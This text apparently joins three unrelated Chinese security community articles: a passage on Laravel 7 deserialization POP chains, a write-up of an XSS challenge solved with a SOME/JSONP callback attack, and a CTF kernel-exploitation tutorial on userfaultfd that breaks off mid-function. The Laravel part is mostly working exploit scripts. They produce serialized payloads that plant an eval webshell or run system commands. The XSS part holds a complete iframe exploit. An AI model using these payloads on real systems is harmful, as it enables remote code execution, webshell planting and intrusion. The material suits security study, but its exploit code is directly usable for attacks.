那新的 pop 链就成型了, 这里做个整体总结
class PendingBroadcast -> __destruct()
↓↓↓
class ChannelManager -> call() -> driver()
↓↓↓
abstract class Manager -> getDefaultDrive()
↓↓↓
class ChannelManager -> createDriver()
↓↓↓
class ChannelManager -> callCustomCreator()
↓↓↓
class RequestGuard -> user() -> call_user_func()
↓↓↓
class Filesystem -> append() -> file_put_contents()
↓↓↓
剩下就是其它的一些无关紧要的调用
建立 exp.php
<?php
/*
# -*- coding: utf-8 -*- # @filename: laravel 7 RCE poc2
# @author: Ricky
# @ability: upload shell
*/
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events) {
$this->events = $events;
}
}
}
// $this->events->dispatch($this->event);
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $container;
protected $defaultChannel;
protected $customCreators;
function __construct($function, $parameter)
{
$this->container = $parameter;
$this->customCreators = ['x' => $function];
$this->defaultChannel = 'x';
}
}
}
namespace Illuminate\Filesystem {
class Filesystem{
public $path = 'ricky.php';
public $data = '<?php eval($_POST[ricky]);?>';
}
}
namespace Illuminate\Auth {
class RequestGuard {
protected $user;
protected $callback;
protected $request = 'ricky.php';
protected $provider = '<?php eval($_POST[ricky]);?>';
public function __construct($callback) {
$this->callback = $callback;
}
}
}
namespace {
use Illuminate\Auth\RequestGuard;
use Illuminate\Filesystem\Filesystem;
use Illuminate\Notifications\ChannelManager;
use Illuminate\Broadcasting\PendingBroadcast;
$c = new RequestGuard([new Filesystem(), 'append']);
$b = new ChannelManager('call_user_func', [$c, 'user']);
$a = new PendingBroadcast($b);
echo urlencode(serialize($a));
}
反序列化成功
**补充:** 全局搜索 `__destruct()` 来找到新的可以触发 `__call` 函数的点, 于是找到了有三个类好用
# PendingResourceRegistration
public function __destruct()
{
if (! $this->registered) {
$this->register();
}
}
# CollectionConfigurator
public function __destruct()
{
if (null === $this->prefixes) {
$this->collection->addPrefix($this->route->getPath());
}
if (null !== $this->host) {
$this->addHost($this->collection, $this->host);
}
$this->parent->addCollection($this->collection);
}
# ImportConfigurator
public function __destruct()
{
$this->parent->addCollection($this->route);
}
首先谈一下 ImportConfigurator 类, 其实我一开始最想用的就是这个, 简单而且和 PendingBroadcast 类的
`__destruct()` 长得特别像, 参数均可控, 但是本地开debug调试后提示这个类不能被反序列化就舍弃了, 有用成的师傅可以分享一下心得
其次就是 CollectionConfigurator 类, 也是和上面反馈了一样的情况, 不让反序列化, 所以就只剩下
PendingResourceRegistration 类了, 亲测可用, 然后先跟进函数 register()
public function register()
{
$this->registered = true;
return $this->registrar->register(
$this->name, $this->controller, $this->options
);
}
这些参数都可控, 那就行了, 触发`__call()` 函数就行, 剩余步骤就不详细分析了, 直接给出 POP链1 和 POP链2 的翻新
<?php
/*
# -*- coding: utf-8 -*- # @filename: laravel 7 RCE poc3
# @author: Ricky
*/
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options;
public function __construct($registrar, $name, $controller, $options)
{
$this->registrar = $registrar;
$this->name = $name;
$this->controller = $controller;
$this->options = $options;
}
}
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $container;
protected $defaultChannel;
protected $customCreators;
function __construct($function, $parameter)
{
$this->container = $parameter;
$this->customCreators = ['x' => $function];
$this->defaultChannel = 'x';
}
}
}
namespace {
use Illuminate\Notifications\ChannelManager;
use Illuminate\Routing\PendingResourceRegistration;
$b = new ChannelManager('phpinfo', '-1');
$a = new PendingResourceRegistration($b, 'ricky', 'ricky', 'ricky');
echo urlencode(serialize($a));
}
上传 shell 的 POP链
<?php
/*
# -*- coding: utf-8 -*- # @filename: laravel 7 RCE poc4
# @author: Ricky
# @ability: upload shell
*/
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options;
public function __construct($registrar, $name, $controller, $options)
{
$this->registrar = $registrar;
$this->name = $name;
$this->controller = $controller;
$this->options = $options;
}
}
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $container;
protected $defaultChannel;
protected $customCreators;
function __construct($function, $parameter)
{
$this->container = $parameter;
$this->customCreators = ['x' => $function];
$this->defaultChannel = 'x';
}
}
}
namespace Illuminate\Filesystem {
class Filesystem{
public $path = 'ricky.php';
public $data = '<?php eval($_POST[ricky]);?>';
}
}
namespace Illuminate\Auth {
class RequestGuard {
protected $user;
protected $callback;
protected $request = 'ricky.php';
protected $provider = '<?php eval($_POST[ricky]);?>';
public function __construct($callback) {
$this->callback = $callback;
}
}
}
namespace {
use Illuminate\Auth\RequestGuard;
use Illuminate\Filesystem\Filesystem;
use Illuminate\Notifications\ChannelManager;
use Illuminate\Routing\PendingResourceRegistration;
$c = new RequestGuard([new Filesystem(), 'append']);
$b = new ChannelManager('call_user_func', [$c, 'user']);
$a = new PendingResourceRegistration($b, 'ricky', 'ricky', 'ricky');
echo urlencode(serialize($a));
}
## POP链3
入口类: `Illuminate\Broadcasting\pendiongBroadcast`
最后RCE调用类：`Illuminate\Bus\Dispatcher`
一开始使用 `__destruct()` 函数直接跟进到 dispatch 方法
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
跟进一下`dispatchToQueue()`方法
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this->pushCommandToQueue($queue, $command);
}
发现 call_user_func , 想办法利用, `$this->queueResolver` 和 `$connection` 都可控, 返回
dispatch 跟进一下 commandShouldBeQueued
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
需要`$command`是一个实现了ShouldQueue接口的对象，全局搜索一下，还挺多的，随便找一个用就可以了，这里用的是`QueuedCommand`类。这样就if判断成功，进入`dispatchToQueue()`
, 然后就可以利用了, POP链就形成了
<?php
/*
# -*- coding: utf-8 -*- # @filename: laravel 7 RCE poc5
# @author: Ricky
*/
namespace Illuminate\Broadcasting{
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events=$events;
$this->event=$event;
}
}
}
namespace Illuminate\Foundation\Console {
class QueuedCommand {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver) {
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Foundation\Console\QueuedCommand('dir');
$a = new Illuminate\Broadcasting\PendingBroadcast($c, $b);
echo urlencode(serialize($a));
}
反序列化成功
然后利用其它的也可以 (把 laravel 7 所有的继承 ShouldQueue 接口的都列出来了)
exp 1
<?php
/*
# -*- coding: utf-8 -*- # @filename: laravel 7 RCE poc6
# @author: Ricky
*/
namespace Illuminate\Broadcasting{
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events=$events;
$this->event=$event;
}
}
}
namespace Illuminate\Broadcasting {
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver) {
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Broadcasting\BroadcastEvent('dir');
$a = new Illuminate\Broadcasting\PendingBroadcast($c, $b);
echo urlencode(serialize($a));
}
exp 2
<?php
/*
# -*- coding: utf-8 -*- # @filename: laravel 7 RCE poc7
# @author: Ricky
*/
namespace Illuminate\Broadcasting{
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events=$events;
$this->event=$event;
}
}
}
namespace Illuminate\Notifications {
class SendQueuedNotifications {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver) {
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Notifications\SendQueuedNotifications('dir');
$a = new Illuminate\Broadcasting\PendingBroadcast($c, $b);
echo urlencode(serialize($a));
}
exp 3
<?php
/*
# -*- coding: utf-8 -*- # @filename: laravel 7 RCE poc8
# @author: Ricky
*/
namespace Illuminate\Broadcasting{
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events=$events;
$this->event=$event;
}
}
}
namespace Illuminate\Queue {
class CallQueuedClosure {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver) {
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Queue\CallQueuedClosure('dir');
$a = new Illuminate\Broadcasting\PendingBroadcast($c, $b);
echo urlencode(serialize($a));
}
exp 4
<?php
/*
# -*- coding: utf-8 -*- # @filename: laravel 7 RCE poc9
# @author: Ricky
*/
namespace Illuminate\Broadcasting{
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events=$events;
$this->event=$event;
}
}
}
namespace Illuminate\Events {
class CallQueuedListener {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver) {
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Events\CallQueuedListener('dir');
$a = new Illuminate\Broadcasting\PendingBroadcast($c, $b);
echo urlencode(serialize($a));
}
## 总结
相比 laravel 5.8, 可以利用的反序列化链变少了, 但是核心思路没有变, 还是通过 `__destruct()` 触发 `__call` 或者
`__invoke` 函数, 再通过 `call_user_func` 或 `call_user_func_array` 进行函数回调达成 RCE | 社区文章 |
我最近发现了一个大佬出的一道[xss题](https://vulnerabledoma.in/xss_2020-06/)，需要我们执行`alert(document.domain)`。
我们可以使用SOME攻击来实现XSS。
## 代码审计
在`index.html`页面主要的一段JavaScript代码:
var callback = function(msg) {
result.innerHTML = msg;
}
document.addEventListener('DOMContentLoaded', function(event) {
if (getQuery('code')) {
var code = getQuery('code');
c.value = code;
checkCode(code);
}
});
form.addEventListener('submit', function(event) {
checkCode(c.value);
event.preventDefault();
});
function checkCode(code) {
var s = document.createElement('script');
s.src = `/xss_2020-06/check_code.php?callback=callback&code=${encodeURI(code)}`;
document.body.appendChild(s);
}
function getQuery(name) {
return new URL(location.href).searchParams.get(name);
}
两个监听器都是对同一个东西的监听，只不过方法不同，一个是获取code参数，一个是表单提交，这就造了提交payload的差异。
还需要注意的是checkCode函数，它会使用encodeURI对code参数进行url进行编码。
对于`check_code.php`源码：
<?php
$callback = "callback";
if (isset($_GET['callback']))
{
$callback = preg_replace("/[^a-z0-9.]+/i", "", $_GET['callback']);
}
$key = "";
if (isset($_GET['code']))
{
$key = $_GET['code'];
}
if (mb_strlen($key, "UTF-8") <= 10)
{
if ($key == "XSS_ME")
{
$result = "Okay! You can access <a href='#not-implemented'>the secret page</a>!";
}
else
{
$result = "Invalid code: '$key'";
}
}
else
{
$result = "Invalid code: too long";
}
$json = json_encode($result, JSON_HEX_TAG);
header('X-XSS-Protection: 0');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/javascript; charset=utf-8');
print "$callback($json)"
在`check_code.php`中的限制：
1. 使用`/[^a-z0-9.]+/i`对callback参数的过滤控制。
2. 使用`length<=10`对code参数的过滤控制，只要长度限制，没有字符限制。
最终php文件返回值中的`$json`中都会有字符串`Invalid code:`，这个会影响我们的payload的构造。
我们通过在code参数中指定准备好的有效负载来实现SOME，该负载通过使用固定的callback参数和部分由攻击者控制的功能参数加载JSONP端点 。
此外，要实现对JSONP中使用的callback参数的控制，必须滥用 在checkCode函数中不安全地使用encodeURI。
## 漏洞利用
由于`encodeURI`不对`&`字符进行编码，因此可以在code参数中发送`&callback
=`来覆盖其原有值（`codeback=codeback`）(如果url参数重复出现，服务器使用给定参数的最后一次出现的值而不是第一个)。
所以我们可以在表单中提交`1&callback=alert`来触发弹窗。如图:
我们还可以在url上使用code参数来触发弹窗，比如`?code=1%26callback=alert`。&的url编码就是`%26`。
但是我们需要执行`alert(document.domain)`，而且对code参数有长度限制。所以无法直接执行。
## 解决问题
这时我们就可以使用SOME攻击，使用iframe来实现同源方法执行,使用使用src属性来确保在同一个来源。
例如对于`alert(1)`:
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe>
<script>
function loadIframe(payload){
return new Promise(resolve => {
m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=alert`;
m.onload = function(){
return resolve(this);
}
});
}
async function go(){
await loadIframe("1");
}
</script>
对于`alert(document.domain)`,我们借助多个iframe和相同来源的跨iframe操作，通过编写HTML和JavaScript代码将payload（`<script>eval(top[2].name)</script>`）包含到iframe框架的DOM，将`alert(document.domain)`添加到`name`属性中。
因为长度的限制，我们还需要使用`document.write`来逐步建立payload。
并且有多余字符串`Invalid code:`的干扰，需要注释符来注释这些多余的字符串。
所以最终exp：
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="alert(document.domain)"></iframe>
<script>
function loadIframe(payload){
return new Promise(resolve => {
m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=top.x.document.write`;
m.onload = function(){
return resolve(this);
}
});
}
async function go(){
await loadIframe("<script>/*");
await loadIframe("*/eval(/*");
await loadIframe("*/top[2]/*");
await loadIframe("*/.name)//");
await loadIframe("<\/script>");
}
</script> | 社区文章 |
# 从强网杯 2021 线上赛题目 notebook 中浅析 userfaultfd 在 kernel pwn 中的利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00.一切开始之前
条件竞争漏洞算是日常生活中较为常见的一个漏洞，也是当前 CTF 中 Linux kernel pwn 中较为热门的方向之一
但多个线程之间的竞争总归是命中率较低，从而无法让攻击者很好地完成利用，为了能够成功、稳定地达成 race，`userfaultfd`
这一冷门系统调用逐渐走入大众视野
笔者今天就借助强网杯2021线上赛的 notebook 一题简单讲讲 userfaultfd 在 kernel pwn 中的利用手法
## 0x01.userfaultfd 系统调用
严格意义而言 userfaultfd 并非是一种利用手法， **而是 Linux 的一个系统调用** ，简单来说，通过 userfaultfd 这种机制，
**用户可以通过自定义的 page fault handler 在用户态处理缺页异常**
下面的这张图很好地体现了 userfaultfd 的整个流程：
要使用 userfaultfd 系统调用，我们首先要注册一个 userfaultfd，通过 ioctl
监视一块内存区域，同时还需要专门启动一个用以进行轮询的线程 `uffd monitor`，该线程会通过 `poll()` 函数不断轮询
**直到出现缺页异常**
* 当有一个线程在这块内存区域内触发缺页异常时（比如说第一次访问一个匿名页），该线程（称之为 faulting 线程）进入到内核中处理缺页异常
* 内核会调用 `handle_userfault()` 交由 userfaultfd 处理
* 随后 faulting 线程进入堵塞状态，同时将一个 `uffd_msg` 发送给 monitor 线程，等待其处理结束
* monitor 线程调用通过 ioctl 处理缺页异常，有如下选项：
* `UFFDIO_COPY`：将用户自定义数据拷贝到 faulting page 上
* `UFFDIO_ZEROPAGE` ：将 faulting page 置0
* `UFFDIO_WAKE`：用于配合上面两项中 `UFFDIO_COPY_MODE_DONTWAKE` 和 `UFFDIO_ZEROPAGE_MODE_DONTWAKE` 模式实现批量填充
* 在处理结束后 monitor 线程发送信号唤醒 faulting 线程继续工作
以上便是 userfaultfd 这个机制的整个流程，该机制最初被设计来用以进行虚拟机/进程的迁移等用途
### userfaultfd 与条件竞争
看起来 userfaultfd 只是一个常规的与处理缺页异常相关的系统调用，但是
**通过这个机制我们可以控制进程执行流程的先后顺序，从而使得对条件竞争的利用成功率大幅提高**
考虑在内核模块当中有一个菜单堆的情况，其中的操作都没有加锁，存在条件竞争的可能，考虑如下竞争情况：
* 线程1不断地分配与编辑堆块
* 线程2不断地释放堆块
此时线程1便 **有可能编辑到被释放的堆块** ，若是此时恰好我们又将这个堆块申请到了合适的位置（比如说
tty_operations），那么我们便可以控制程序执行流（也可以是编辑释放后堆块的 fd，然后实现任意地址写）
但是毫无疑问的是，若是直接开两个线程进行竞争，命中的几率是比较低的，我们也很难判断是否命中
但假如线程1使用注诸如 `copy_from_user` 等方法从用户空间向内核空间拷贝数据，那么我们便可以先用 mmap 分一块匿名内存，为其注册
userfaultfd，之后 **线程1在内核中触发缺页异常时便会陷入阻塞，此时我们便可以开另一个线程将这块内存释放掉，然后再分配到我们想要的地方**
（比如说 tty_operations），此时再让线程1继续执行，便能向我们想要读写的目标读写特定数据了， **这使得条件竞争的命中率大幅提高**
### userfaultfd 的具体用法
> 以下代码参考自 Linux man page，略有改动
首先定义接下来需要用到的一些数据结构
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
void errExit(char * msg)
{
puts(msg);
exit(-1);
}
//...
long uffd; /* userfaultfd file descriptor */
char *addr; /* Start of region handled by userfaultfd */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
首先通过 userfaultfd 系统调用注册一个 userfaultfd，其中 `O_CLOEXEC` 和 `O_NONBLOCK` 和 open 的
flags 相同，笔者个人认为这里可以理解为我们创建了一个虚拟设备 `userfault`
这里用 mmap 分一个匿名页用作后续被监视的区域
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */
len = 0x1000;
addr = (char*) mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
errExit("mmap");
为这块内存区域注册 userfaultfd
/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
启动 monitor 轮询线程，整个 userfaultfd 的启动流程就结束了，接下来便是等待缺页异常的过程
/* Create a thread that will process the userfaultfd events */
int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0) {
errExit("pthread_create");
}
monitor 轮询线程应当定义如下形式，这里给出的是 UFFD_COPY，即将自定义数据拷贝到 faulting page 上：
static int page_size;
static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;
page_size = sysconf(_SC_PAGE_SIZE);
uffd = (long) arg;
/* Create a page that will be copied into the faulting region */
if (page == NULL)
{
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("mmap");
}
/* Loop, handling incoming events on the userfaultfd
file descriptor */
for (;;)
{
/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
{
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1)
errExit("read");
/* We expect only one kind of event; verify that assumption */
if (msg.event != UFFD_EVENT_PAGEFAULT)
{
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Display info about the page-fault event */
printf(" UFFD_EVENT_PAGEFAULT event: ");
printf("flags = %llx; ", msg.arg.pagefault.flags);
printf("address = %llx\n", msg.arg.pagefault.address);
/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */
memset(page, 'A' + fault_cnt % 20, page_size);
fault_cnt++;
uffdio_copy.src = (unsigned long) page;
/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary */
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
printf(" (uffdio_copy.copy returned %lld)\n",
uffdio_copy.copy);
}
}
有人可能注意到了 `uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);` 这个奇怪的句子，在这里作用是将触发缺页异常的地址 **按页对齐** 作为后续拷贝的起始地址
> 比如说触发的地址可能是 0xdeadbeef，直接从这里开始拷贝一整页的数据就拷歪了，应当从 0xdeadb000 开始拷贝（假设页大小 0x1000）
**例程**
测试例程如下：
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
static int page_size;
void errExit(char * msg)
{
printf("[x] Error at: %s\n", msg);
exit(-1);
}
static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
/* Create a page that will be copied into the faulting region */
if (page == NULL)
{
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("mmap");
}
/* Loop, handling incoming events on the userfaultfd
file descriptor */
for (;;)
{
/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
{
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1)
errExit("read");
/* We expect only one kind of event; verify that assumption */
if (msg.event != UFFD_EVENT_PAGEFAULT)
{
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Display info about the page-fault event */
printf(" UFFD_EVENT_PAGEFAULT event: ");
printf("flags = %llx; ", msg.arg.pagefault.flags);
printf("address = %llx\n", msg.arg.pagefault.address);
/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */
memset(page, 'A' + fault_cnt % 20, page_size);
fault_cnt++;
uffdio_copy.src = (unsigned long) page;
/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary */
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
printf(" (uffdio_copy.copy returned %lld)\n",
uffdio_copy.copy);
}
}
int main(int argc, char ** argv, char ** envp)
{
long uffd; /* userfaultfd file descriptor */
char *addr; /* Start of region handled by userfaultfd */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
page_size = sysconf(_SC_PAGE_SIZE);
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */
len = 0x1000;
addr = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
errExit("mmap");
/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
/* Create a thread that will process the userfaultfd events */
int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0)
errExit("pthread_create");
/* Trigger the userfaultfd event */
void * ptr = (void*) *(unsigned long long*) addr;
printf("Get data: %p\n", ptr);
return 0;
}
起个虚拟机跑一下，我们可以看到在我们监视的匿名页内成功地被我们写入了想要的数据
### 新版本内核对抗 userfaultfd 在 race condition 中的利用
正所谓“没有万能的银弹”，可能有的人会发现在较新版本的内核中 userfaultfd 系统调用无法成功启动：
这是因为在较新版本的内核中为 userfaultfd 添加了一些限制：
> 来自 linux-5.11 源码`fs/userfaultfd.c`：
SYSCALL_DEFINE1(userfaultfd, int, flags)
{
struct userfaultfd_ctx *ctx;
int fd;
if (!sysctl_unprivileged_userfaultfd &&
(flags & UFFD_USER_MODE_ONLY) == 0 &&
!capable(CAP_SYS_PTRACE)) {
printk_once(KERN_WARNING "uffd: Set unprivileged_userfaultfd "
"sysctl knob to 1 if kernel faults must be handled "
"without obtaining CAP_SYS_PTRACE capability\n");
return -EPERM;
}
//...
这或许意味着刚刚进入大众视野的 userfaultfd 可能又将逐渐淡出大众视野（ ~~微博@来去之间~~ ），但不可否认的是，userfaultfd
确乎为我们在 Linux kernel 中的条件竞争利用提供了一个全新的思路与一种极其稳定的利用手法
### CTF 中的 userfaultfd 板子
userfaultfd 的整个操作流程比较繁琐，故笔者现给出如下板子：
static pthread_t monitor_thread;
void errExit(char * msg)
{
printf("[x] Error at: %s\n", msg);
exit(EXIT_FAILURE);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}
在使用时直接调用即可：
registerUserFaultFd(addr, len, handler);
需要注意的是 handler 的写法，这里直接照抄 Linux man page 改了改，可以根据个人需求进行个性化改动：
static char *page = NULL; // 你要拷贝进去的数据
static long page_size;
static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
/*
* [在这停顿.jpg]
* 当 poll 返回时说明出现了缺页异常
* 你可以在这里插入一些自定义的代码，比如说获取锁或者 sleep() 一类的操作
* 让他在你想要的地方停顿，之后你再手动唤醒（或者就这样卡住）
*/
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
errExit("EOF on userfaultfd!\n");
if (nread == -1)
errExit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
